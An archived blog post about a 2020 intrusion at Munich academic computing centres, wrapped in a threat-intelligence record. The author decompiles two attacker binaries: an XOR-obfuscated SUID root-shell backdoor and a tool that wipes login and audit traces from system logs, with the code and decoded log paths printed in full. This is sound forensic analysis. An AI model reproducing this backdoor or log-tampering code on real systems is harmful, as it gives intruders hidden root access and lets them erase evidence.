{
	"id": "d5d55972-786e-4ac5-b4e3-0f8948be884c",
	"created_at": "2026-04-06T00:15:09.414107Z",
	"updated_at": "2026-04-10T13:11:33.744058Z",
	"deleted_at": null,
	"sha1_hash": "67fb469e227e13e1c55fbe4a21d85b520a76b638",
	"title": "High Performance Hackers",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 69529,
	"plain_text": "High Performance Hackers\r\nArchived: 2026-04-05 23:20:30 UTC\r\nIn the last few days, there was news that several big academic high performance computing centers had been\r\nhacked. Here in Munich, LRZ, the Leibniz Rechenzentrum was affected but apparently also computers at the\r\nLMU faculty of physics (there are a few clusters in the institute's basement). You could hear that it were Linux\r\nsystems that were compromised and the attackers left files in /etc/fonts.\r\nI could not resist and also looked for these files and indeed found those on one of the servers:\r\nhelling@hostname:~$ cd /etc/fonts/\r\nhelling@hostname:/etc/fonts$ ls -la\r\ntotal 52\r\ndrwxr-xr-x 4 root root 4096 Apr 5 2018 .\r\ndrwxr-xr-x 140 root root 12288 May 14 10:07 ..\r\ndrwxr-xr-x 2 root root 4096 Aug 29 2019 conf.avail\r\ndrwxr-xr-x 2 root root 4096 Aug 29 2019 conf.d\r\n-rwsr-sr-x 1 root root 6256 Apr 5 2018 .fonts\r\n-rw-r--r-- 1 root root 2582 Apr 5 2018 fonts.conf\r\n-rwxr-xr-x 1 root root 15136 Apr 5 2018 .low\r\nUhoh, a dot-file with SUID root?!? I had an evening to spare so I could finally find out if I can use some of the\r\nforensic tools, that are around. As everybody know, the most important one is \"strings\". But neither strings .fonts\r\nnor strings .low revealed anything interesting about those programs. So we need some heavier lifting. I chose\r\nghidra (thanks NSA for that) as my decompiler.\r\nLet's look at .fonts (the suid one) first. It consists of one central function that I called runbash. Here is what I got\r\nafter some renaming of symbols:\r\nvoid runbash(void)\r\n{\r\n char arguments [4];\r\n char command [9];\r\n int i;\r\n \r\n command[0] = 'N';\r\n command[1] = '\\0';\r\n command[2] = '\\n';\r\n command[3] = '\\n';\r\n command[4] = 'J';\r\n command[5] = '\\x04';\r\n command[6] = '\\x06';\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 1 of 9\n\ncommand[7] = '\\x1b';\r\n command[8] = '\\x01';\r\n i = 0;\r\n while (i \u003c 9) {\r\n command[i] = command[i] ^ (char)i + 0x61U;\r\n i = i + 1;\r\n }\r\n arguments[0] = '\\x03';\r\n arguments[1] = '\\x03';\r\n arguments[2] = '\\x10';\r\n arguments[3] = '\\f';\r\n i = 0;\r\n while (i \u003c 4) {\r\n arguments[i] = arguments[i] ^ (char)i + 0x61U;\r\n i = i + 1;\r\n }\r\n setgid(0);\r\n setuid(0);\r\n execl(command,arguments,0);\r\n return;\r\n}\r\nThere are two strings, command and arguments and first there is some xoring with a loop variable going on. I ran\r\nthat as a separate C program and what it produces is that command ends up as \"/bin/bash\" and arguments as\r\n\"bash\". So, all this program does is it starts a root shell. And indeed it does (i tried it on the server, of course it has\r\nbeen removed since then).\r\nThe second program, .low, is a bit longer. It has a main function that mainly deals with command line options\r\ndepending on which it calls one of three functions that I termed machmitfile(), machshitmitfile() and\r\nwritezerosinfile() which all take a file name as argument and modify those files by removing lines or overwriting\r\nstuff with zeros or doing some other rewriting that I did not analyse in detail:\r\n/* WARNING: Could not reconcile some variable overlaps */\r\nulong main(int argc, char ** argv)\r\n{\r\n char * __s1;\r\n char * pcVar1;\r\n bool opbh;\r\n bool optw;\r\n bool optb;\r\n bool optl;\r\n bool optm;\r\n bool opts;\r\n bool opta;\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 2 of 9\n\nint numberarg;\r\n char uitistgleich[40];\r\n passwd * password;\r\n char * local_68;\r\n char opt;\r\n uint local_18;\r\n uint retval;\r\n char * filename;\r\n scramble( \u0026UTMP, 0xd);\r\n scramble( \u0026WTMP, 0xd);\r\n scramble( \u0026BTMP, 0xd);\r\n scramble( \u0026LASTLOG, 0x10);\r\n scramble( \u0026MESSAGES, 0x11);\r\n scramble( \u0026SECURE, 0xf);\r\n scramble( \u0026WARN, 0xd);\r\n scramble( \u0026DEBUG, 0xe);\r\n scramble( \u0026AUDIT0, 0x18);\r\n scramble( \u0026AUDIT1, 0x1a);\r\n scramble( \u0026AUDIT2, 0x1a);\r\n scramble( \u0026AUTHLOG, 0x11);\r\n scramble( \u0026HISTORY, 0x1b);\r\n scramble( \u0026AUTHPRIV, 0x11);\r\n scramble( \u0026DEAMONLOG, 0x13);\r\n scramble( \u0026SYSLOG, 0xf);\r\n scramble( \u0026ACHTdPROZENTs, 7);\r\n scramble( \u0026OPTOPTS, 0xb);\r\n scramble( \u0026UIDISPROZD, 7);\r\n scramble( \u0026ERRORARGSEXIT, 0x11);\r\n scramble( \u0026ROOT, 4);\r\n filename = (char * ) 0x0;\r\n local_18 = 0;\r\n opbh = false;\r\n optw = false;\r\n optb = false;\r\n optl = false;\r\n optm = false;\r\n opts = false;\r\n opta = false;\r\n now = time((time_t * ) 0x0);\r\n while (_opt = getopt(argc, argv, \u0026 OPTOPTS), _opt != -1) {\r\n switch (_opt) {\r\n case 0x61:\r\n opta = true;\r\n break;\r\n case 0x62:\r\n optb = true;\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 3 of 9\n\nbreak;\r\n default:\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n case 0x66:\r\n filename = optarg;\r\n break;\r\n case 0x68:\r\n opbh = true;\r\n break;\r\n case 0x6c:\r\n optl = true;\r\n break;\r\n case 0x6d:\r\n optm = true;\r\n break;\r\n case 0x73:\r\n opts = true;\r\n break;\r\n case 0x74:\r\n local_18 = 1;\r\n numberarg = atoi(optarg);\r\n if (numberarg != 0) {\r\n numberarg = atoi(optarg);\r\n now = (time_t) numberarg;\r\n if ((0 \u003c now) \u0026\u0026 (now \u003c 0x834)) {\r\n now = settime();\r\n }\r\n }\r\n break;\r\n case 0x77:\r\n optw = true;\r\n }\r\n }\r\n if (((((!opbh) \u0026\u0026 (!optw)) \u0026\u0026 (!optb)) \u0026\u0026 ((!optl \u0026\u0026 (!optm)))) \u0026\u0026 ((!opts \u0026\u0026 (!opta)))) {\r\n printmessage();\r\n }\r\n if (opbh) {\r\n if (argc \u003c= optind + 1) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n if (filename == (char * ) 0x0) {\r\n filename = \u0026 UTMP;\r\n }\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 4 of 9\n\nretval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong) local_18);\r\n } else {\r\n if (optw) {\r\n if (argc \u003c= optind + 1) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n if (filename == (char * ) 0x0) {\r\n filename = \u0026 WTMP;\r\n }\r\n retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong) local_18);\r\n } else {\r\n if (optb) {\r\n if (argc \u003c= optind + 1) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n if (filename == (char * ) 0x0) {\r\n filename = \u0026 BTMP;\r\n }\r\n retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong) local_18);\r\n } else {\r\n if (optl) {\r\n if (argc \u003c= optind) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n if (filename == (char * ) 0x0) {\r\n filename = \u0026 LASTLOG;\r\n }\r\n retval = writezerosinfile(filename, argv[optind], argv[optind]);\r\n } else {\r\n if (optm) {\r\n if (argc \u003c= optind + 3) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n if (filename == (char * ) 0x0) {\r\n filename = \u0026 LASTLOG;\r\n }\r\n retval = FUN_00401bb0(filename, argv[optind], argv[(long) optind + 1],\r\n argv[(long) optind + 2], argv[(long) optind + 3]);\r\n } else {\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 5 of 9\n\nif (opts) {\r\n if (argc \u003c= optind) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n local_68 = argv[optind];\r\n if (filename == (char * ) 0x0) {\r\n printmessage();\r\n } else {\r\n retval = machshitmitfile(filename, local_68, (ulong) local_18, local_68);\r\n }\r\n } else {\r\n if (opta) {\r\n if (argc \u003c= optind + 1) {\r\n printmessage();\r\n /* WARNING: Subroutine does not return */\r\n exit(1);\r\n }\r\n __s1 = argv[optind];\r\n pcVar1 = argv[(long) optind + 1];\r\n numberarg = strcmp(__s1, \u0026 ROOT);\r\n if (numberarg == 0) {\r\n local_18 = 1;\r\n }\r\n machmitfile( \u0026 WTMP, __s1, pcVar1, (ulong) local_18);\r\n machmitfile( \u0026 UTMP, __s1, pcVar1, (ulong) local_18);\r\n machmitfile( \u0026 BTMP, __s1, pcVar1, (ulong) local_18);\r\n writezerosinfile( \u0026 LASTLOG, __s1, __s1);\r\n machshitmitfile( \u0026 MESSAGES, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 MESSAGES, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 SECURE, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 SECURE, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 AUTHPRIV, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 AUTHPRIV, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 DEAMONLOG, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 DEAMONLOG, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 SYSLOG, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 SYSLOG, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 WARN, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 WARN, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 DEBUG, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 DEBUG, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 AUDIT0, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 AUDIT0, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 AUDIT1, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 AUDIT1, pcVar1, (ulong) local_18, pcVar1);\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 6 of 9\n\nmachshitmitfile( \u0026 AUDIT2, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 AUDIT2, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 AUTHLOG, __s1, (ulong) local_18, __s1);\r\n machshitmitfile( \u0026 AUTHLOG, pcVar1, (ulong) local_18, pcVar1);\r\n machshitmitfile( \u0026 HISTORY, __s1, (ulong) local_18, __s1);\r\n retval = machshitmitfile( \u0026 HISTORY, pcVar1, (ulong) local_18, pcVar1);\r\n password = getpwnam(__s1);\r\n if (password != (passwd * ) 0x0) {\r\n sprintf(uitistgleich, \u0026 UIDISPROZD, (ulong) password - \u003e pw_uid);\r\n machshitmitfile( \u0026 SECURE, uitistgleich, (ulong) local_18, uitistgleich);\r\n machshitmitfile( \u0026 AUDIT0, uitistgleich, (ulong) local_18, uitistgleich);\r\n machshitmitfile( \u0026 AUDIT1, uitistgleich, (ulong) local_18, uitistgleich);\r\n retval = machshitmitfile( \u0026 AUDIT2, uitistgleich, (ulong) local_18, uitistgleich);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n return (ulong) retval;\r\n}\r\nBut what are the file names? They sit in some memory locations pre-initialized at startup but remember, strings\r\ndid not show anything interesting.\r\nBut before anything else, a function scramble() is called on them:\r\nvoid scramble(char *p,int count)\r\n{\r\n int m;\r\n int i;\r\n \r\n if (0 \u003c count) {\r\n m = count * 0x8249;\r\n i = 0;\r\n while (m = (m + 0x39ef) % 0x52c7, i \u003c count) {\r\n p[i] = (byte)m ^ p[i];\r\n m = m * 0x8249;\r\n i = i + 1;\r\n }\r\n }\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 7 of 9\n\nreturn;\r\n}\r\nAs you can see, once more there is some xor-ing going on to hide the ascii filename. So, once more, I put the\r\ninitial data as well as this function a in a separate C program and it produced:\r\n603130: /var/run/utmp\r\n60313e: /var/log/wtmp\r\n60314c: /var/log/btmp\r\n603160: /var/log/lastlog\r\n603180: /var/log/messages\r\n6031a0: /var/log/secure\r\n6031b0: /var/log/warn\r\n6031be: /var/log/debug\r\n6031d0: /var/log/audit/audit.log\r\n6031f0: /var/log/audit/audit.log.1\r\n603210: /var/log/audit/audit.log.2\r\n603230: /var/log/auth.log\r\n603250: /var/log/ConsoleKit/history\r\n603270: /var/log/authpriv\r\n603290: /var/log/daemon.log\r\n6032b0: /var/log/syslog\r\nAh, these are the log-files where you want to remove your traces.\r\nThis is how far my analysis goes. In case, you want to look at this yourself, I put everything (both binaries, the\r\nGhidra file, my separate C program) in a tar-ball for you to download.\r\nWhat all this does not show: How did the attackers get in in the first place (possibly by stealing some user's\r\nprivate keys on another compromised machine), how they did the privilege escalation to be able to produce a suid-root file and also, for how long they have been around. As you can see above, the files have a time stamp from\r\nover two years ago. But once you are root you can of course set this to whatever you want. But it's not clear why\r\nyou wanted to back date your backdoor. I should stress that I am only a normal user on that server, so for example\r\nI don't have access to the backups to check if these files have really been around for that long.\r\nFurthermore, the things I found are not very sophisticated. Yes, they prevented my to find out what's going on with\r\nstrings by obfuscating their strings. But the rest was all so straight forward that even amateur like myself with a bit\r\nof decompiling could figure our what is going on. Plus leaving your backdoor as a suid program laying around in\r\nthe file system in plain sight is not very secretive (but possibly enough to be undetected for more than two years).\r\nSo unless these two files are not explicitly there to be found, the attacker will not be the most subtle one.\r\nWhich leaves the question about the attacker's motivation. Was it only for sports (bringing some thousand CPUs\r\nunder control)? Was it for bitcoin mining (the most direct way to turn this advantage into material gain)? Or did\r\nthey try to steal data/files etc?\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 8 of 9\n\nIf you have an account on one of the affected machines (in our case that would be anybody with a physics account\r\nat LMU as at least one affected machine had your home directory mounted) you should revoke all your secret\r\nkeys that were stored there (GPG or ssh, in the latter case that means in particular delete them from\r\n.ssh/authorizedkeys and .ssh/authorizedkeys2 everywhere, not just on the affected machines. And you should\r\nconsider all data on those machines compromised (whatever that might have as consequences for you). If attackers\r\nhad access to your ssh private keys, they could be as well on all machines that those allow to log into without\r\nentering further passwords/passphrases/OTPs.\r\nSource: https://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nhttps://atdotde.blogspot.com/2020/05/high-performance-hackers.html\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://atdotde.blogspot.com/2020/05/high-performance-hackers.html"
	],
	"report_names": [
		"high-performance-hackers.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434509,
	"ts_updated_at": 1775826693,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/67fb469e227e13e1c55fbe4a21d85b520a76b638.pdf",
		"text": "https://archive.orkl.eu/67fb469e227e13e1c55fbe4a21d85b520a76b638.txt",
		"img": "https://archive.orkl.eu/67fb469e227e13e1c55fbe4a21d85b520a76b638.jpg"
	}
}